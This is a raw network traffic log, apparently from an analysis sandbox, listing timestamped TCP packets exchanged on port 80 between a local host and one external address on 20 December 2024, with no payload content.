Dec 20, 2024 04:12:35.234003067 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.234065056 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.234950066 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.235037088 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.235038042 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.235141039 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.235951900 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.236037016 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.236059904 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.236135960 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.236984968 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.237097979 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.237127066 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.237217903 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.238049030 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.238187075 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.238217115 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.238270044 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.239058018 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.239150047 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.239167929 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.239231110 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.240082026 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.240151882 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.240453959 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.240520954 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.241137028 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.241235018 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.241322994 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.242193937 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.242278099 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.242314100 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.242373943 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.243180037 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.243284941 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.243330002 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.243366957 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.244220972 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.244303942 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.244427919 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.244568110 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.245234013 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.245373011 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.245424986 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.245424986 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.246258020 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.246334076 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.246345997 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.246412992 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.247303009 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.247359991 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.247390032 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.247435093 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.248362064 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.248486996 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.248514891 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.248574972 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.249372005 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.249439955 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.249481916 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.249547005 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.250422001 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.250541925 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.250572920 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.250752926 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.251473904 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.251580954 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.251749992 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.251817942 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.252455950 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.252571106 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.252635956 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.252736092 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.253493071 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.253560066 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.253597975 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.253664017 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.254535913 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.254606962 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.254640102 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.254697084 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.255588055 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.255657911 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.255692005 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.255786896 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.256607056 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.256681919 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.256721020 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.256866932 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.257608891 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.257687092 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.257720947 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.257910967 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.258867025 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.258877993 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.258925915 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.258927107 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.259685040 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.259766102 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.259799957 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.259902954 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.260706902 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.260843992 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.260879993 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.260957003 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.261743069 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.261811972 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.261838913 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.261904955 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.262799978 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.262880087 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.262900114 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.262958050 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.263827085 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.263942003 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.264000893 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.264000893 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.264894962 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.264957905 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.264997959 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.265068054 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.265867949 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.265940905 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.265969992 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.266033888 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.266915083 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.266998053 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.267024994 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.267086029 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.267893076 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.267960072 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.405742884 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.405865908 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.405976057 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.406205893 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.406300068 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.406439066 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.406522036 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.406557083 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.406817913 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.407485008 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.407545090 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.407574892 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.407674074 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.408463955 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.408624887 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.408623934 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.408689976 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.409486055 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.409554958 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.409575939 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.409636021 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.410542011 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.410609007 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.410660982 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.410723925 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.411556005 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.411623955 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.411694050 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.411756039 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.412642956 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.412729025 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.412827015 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.412954092 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.413630009 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.413712025 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.413748980 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.413817883 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.414658070 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.414732933 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.414808035 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.414984941 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.415702105 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.415777922 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.415800095 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.415860891 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.416726112 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.416795015 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.416847944 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.416910887 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.417762995 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.417864084 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.417948961 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.418807030 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.418915987 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.418925047 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.418986082 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.419838905 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.419938087 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.420015097 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.420849085 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.420938015 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.420965910 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.421035051 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.421900988 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.422028065 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.422060013 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.422106981 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.422921896 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.422975063 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.423028946 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.423089027 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.423986912 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.424056053 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.424089909 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.424170017 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.425020933 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.425090075 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.425097942 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.425158978 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.426013947 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.426134109 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.426167011 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.426275015 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.427045107 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.427108049 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.427162886 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.427242994 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.428071022 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.428148031 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.428184986 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.428278923 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.429101944 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.429192066 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.429195881 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.429255962 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.430157900 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.430247068 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.430330038 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.430402040 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.431179047 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.431224108 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.431246042 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.431279898 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.432205915 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.432255030 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.432308912 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.432369947 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.433248043 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.433346987 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.433370113 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.433446884 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.434274912 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.434345007 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.434384108 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.434451103 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.435298920 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.435365915 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.435400963 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.435484886 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.436362028 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.436482906 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.436512947 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.437082052 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.437369108 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.437437057 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.437477112 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.437613010 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.438391924 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.438509941 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.438599110 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.439429998 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.439526081 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.439564943 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.439634085 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.440471888 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.440543890 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.440547943 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.440639019 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.441498041 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.441577911 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.441745043 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.441814899 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.442528963 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.442646980 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.442831039 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.443552017 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.443645000 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.443662882 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.443732023 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.444590092 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.444689035 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.444711924 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.444782972 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.445622921 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.445693970 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.445730925 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.445795059 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.446666956 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.446732998 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.446753979 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.446942091 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.447676897 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.447746992 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.447751045 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.447829008 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.448704004 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.448810101 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.448816061 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.448877096 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.449731112 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.449834108 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.449858904 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.449934006 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.450781107 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.450845003 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.450886011 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.451077938 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.451786041 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.451859951 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.451895952 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.451961040 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.452857018 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.452923059 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.452934027 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.452984095 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.453860044 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.453915119 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.453927994 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.453977108 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.454922915 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.454981089 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.455056906 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.455992937 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.456089973 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.456106901 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.456186056 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.456963062 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.457035065 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.457070112 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.457132101 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.457998037 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.458067894 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.458101988 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.458201885 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.459029913 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.459127903 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.459131002 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.459196091 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.597825050 CET	80	49838	31.41.244.11	192.168.2.4
